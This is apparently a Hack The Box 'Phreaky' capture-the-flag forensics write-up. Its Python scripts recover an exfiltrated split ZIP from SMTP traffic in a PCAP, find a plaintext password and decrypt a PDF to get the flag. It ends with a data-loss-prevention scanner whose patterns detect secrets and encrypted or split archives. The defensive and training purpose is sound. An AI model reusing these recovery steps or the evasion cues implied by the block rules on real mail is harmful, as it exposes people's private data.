HTB: Phreaky – Email Exfiltration Forensics

#!/usr/bin/env python3
"""
Extract base64 attachments from email streams
"""
import re
import base64
from pathlib import Path

EMAIL_DIR = Path("emails")
OUTPUT_DIR = Path("parts")
OUTPUT_DIR.mkdir(exist_ok=True)

def extract_attachment(email_file):
    """Extract base64 attachment from email stream"""
    content = email_file.read_text(errors='ignore')
    
    # Find subject line to get part number
    subject_match = re.search(r'Subject:.*Part\s+(\d+)/(\d+)', content, re.IGNORECASE)
    if not subject_match:
        return None
    
    part_num = int(subject_match.group(1))
    total_parts = int(subject_match.group(2))
    
    # Find Content-Transfer-Encoding: base64
    encoding_pos = content.find('Content-Transfer-Encoding: base64')
    if encoding_pos == -1:
        return None
    
    # Extract base64 data (between blank line and terminator '.')
    start = content.find('\n\n', encoding_pos) + 2
    end = content.find('\n.\n', start)
    
    if start == -1 or end == -1:
        return None
    
    base64_data = content[start:end]
    
    # Clean up (remove any non-base64 chars)
    base64_data = ''.join(c for c in base64_data if c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=')
    
    # Decode
    try:
        binary_data = base64.b64decode(base64_data)
    except Exception as e:
        print(f"[!] Failed to decode {email_file.name}: {e}")
        return None
    
    return part_num, total_parts, binary_data

# Process all email files
parts = {}

for email_file in sorted(EMAIL_DIR.glob("stream_*.txt")):
    print(f"[*] Processing {email_file.name}...")
    
    result = extract_attachment(email_file)
    if result:
        part_num, total_parts, data = result
        parts[part_num] = data
        
        # Save individual part
        output_file = OUTPUT_DIR / f"archive.zip.{part_num:03d}"
        output_file.write_bytes(data)
        
        print(f"    [+] Extracted part {part_num}/{total_parts} ({len(data)} bytes)")

print(f"\n[+] Extracted {len(parts)} parts total")

# Verify we have all parts
expected_parts = max(parts.keys())
missing = [i for i in range(1, expected_parts + 1) if i not in parts]

if missing:
    print(f"[!] Missing parts: {missing}")
else:
    print(f"[+] All {expected_parts} parts accounted for")

#!/usr/bin/env python3
"""
Complete Phreaky forensics analysis
Extracts split archive from PCAP, reassembles, decrypts PDF
"""
import os
import re
import base64
import subprocess
from pathlib import Path
import PyPDF2

PCAP = "phreaky.pcap"
WORK_DIR = Path("analysis")
WORK_DIR.mkdir(exist_ok=True)

print("[*] Stage 1: Extract SMTP Streams")
print("=" * 60)

# Extract TCP streams with SMTP data
cmd = f"tshark -r {PCAP} -Y 'smtp.data.fragment' -T fields -e tcp.stream"
streams = subprocess.check_output(cmd, shell=True, text=True)
streams = sorted(set(streams.strip().split('\n')))

print(f"[+] Found {len(streams)} SMTP data streams")

# Extract each stream
for i, stream in enumerate(streams, 1):
    output = WORK_DIR / f"email_{i:02d}.txt"
    cmd = f"tshark -r {PCAP} -q -z follow,tcp,ascii,{stream}"
    data = subprocess.check_output(cmd, shell=True, text=True)
    output.write_text(data)
    print(f"    [{i}/{len(streams)}] Extracted stream {stream}")

print("\n[*] Stage 2: Extract and Decode Attachments")
print("=" * 60)

parts = {}

for email_file in sorted(WORK_DIR.glob("email_*.txt")):
    content = email_file.read_text(errors='ignore')
    
    # Find part number
    match = re.search(r'Subject:.*Part\s+(\d+)/(\d+)', content, re.I)
    if not match:
        continue
    
    part_num = int(match.group(1))
    
    # Extract base64 between headers and terminator
    start = content.find('Content-Transfer-Encoding: base64')
    if start == -1:
        continue
    
    start = content.find('\n\n', start) + 2
    end = content.find('\n.\n', start)
    
    if start == -1 or end == -1:
        continue
    
    b64_data = content[start:end].replace('\n', '').replace('\r', '')
    
    try:
        binary = base64.b64decode(b64_data)
        parts[part_num] = binary
        print(f"[+] Decoded part {part_num} ({len(binary)} bytes)")
    except:
        print(f"[!] Failed to decode part {part_num}")

print(f"\n[+] Extracted {len(parts)} parts")

print("\n[*] Stage 3: Reassemble Archive")
print("=" * 60)

# Concatenate parts in order
archive_path = WORK_DIR / "archive.zip"
with open(archive_path, 'wb') as f:
    for i in sorted(parts.keys()):
        f.write(parts[i])

print(f"[+] Wrote {archive_path} ({archive_path.stat().st_size} bytes)")

# Extract archive
extract_dir = WORK_DIR / "extracted"
extract_dir.mkdir(exist_ok=True)

subprocess.run(['unzip', '-q', '-o', str(archive_path), '-d', str(extract_dir)])
print(f"[+] Extracted archive to {extract_dir}")

print("\n[*] Stage 4: Find Password")
print("=" * 60)

# Search PCAP for password
cmd = f"strings {PCAP} | grep -i 'password' -A 3 -B 3"
result = subprocess.check_output(cmd, shell=True, text=True)

# Extract password from email
password_match = re.search(r'password.*?:\s*(\S+)', result, re.I)
if password_match:
    password = password_match.group(1)
    print(f"[+] Found password: {password}")
else:
    print("[!] Password not found")
    exit(1)

print("\n[*] Stage 5: Decrypt PDF")
print("=" * 60)

pdf_path = extract_dir / "confidential" / "document.pdf"

# Decrypt with qpdf
decrypted_path = WORK_DIR / "document_decrypted.pdf"
cmd = f"qpdf --password='{password}' --decrypt {pdf_path} {decrypted_path}"
subprocess.run(cmd, shell=True, check=True)

print(f"[+] Decrypted PDF: {decrypted_path}")

print("\n[*] Stage 6: Extract Flag")
print("=" * 60)

# Extract text from PDF
cmd = f"pdftotext {decrypted_path} -"
pdf_text = subprocess.check_output(cmd, shell=True, text=True)

# Find flag
flag_match = re.search(r'HTB\{[^}]+\}', pdf_text)
if flag_match:
    flag = flag_match.group(0)
    print(f"\n{'=' * 60}")
    print(f"[+] FLAG FOUND:")
    print(f"    {flag}")
    print(f"{'=' * 60}")
else:
    print("[!] Flag not found in PDF")

print("\n[*] Analysis Complete")
print("=" * 60)
print("Summary:")
print(f"  - Extracted {len(streams)} email messages from PCAP")
print(f"  - Decoded {len(parts)} base64-encoded archive parts")
print(f"  - Reassembled {archive_path.stat().st_size} byte ZIP archive")
print(f"  - Found password in plaintext SMTP traffic")
print(f"  - Decrypted PDF and recovered flag")

# Encode
base64.b64encode(b"secret data")
# b'c2VjcmV0IGRhdGE='

# Decode (trivial reversal)
base64.b64decode(b'c2VjcmV0IGRhdGE=')
# b'secret data'

# Check outbound emails for sensitive patterns
def scan_email(body, attachments):
    patterns = [
        r'\b\d{3}-\d{2}-\d{4}\b',  # SSN
        r'\b\d{16}\b',              # Credit card
        r'BEGIN (RSA|PGP) PRIVATE KEY',  # Private keys
        r'HTB\{[^}]+\}',            # CTF flags :)
    ]
    
    for pattern in patterns:
        if re.search(pattern, body):
            return "BLOCK", f"Sensitive data detected: {pattern}"
    
    return "ALLOW", None

def scan_attachment(filename, content):
    # Check for split archives
    if re.match(r'.*\.\d{3}$', filename):
        return "BLOCK", "Split archive detected"
    
    # Check for encryption
    if content.startswith(b'PK\x03\x04'):  # ZIP signature
        import zipfile
        try:
            with zipfile.ZipFile(io.BytesIO(content)) as zf:
                if any(f.flag_bits & 0x01 for f in zf.filelist):
                    return "BLOCK", "Encrypted ZIP detected"
        except:
            pass
    
    return "ALLOW", None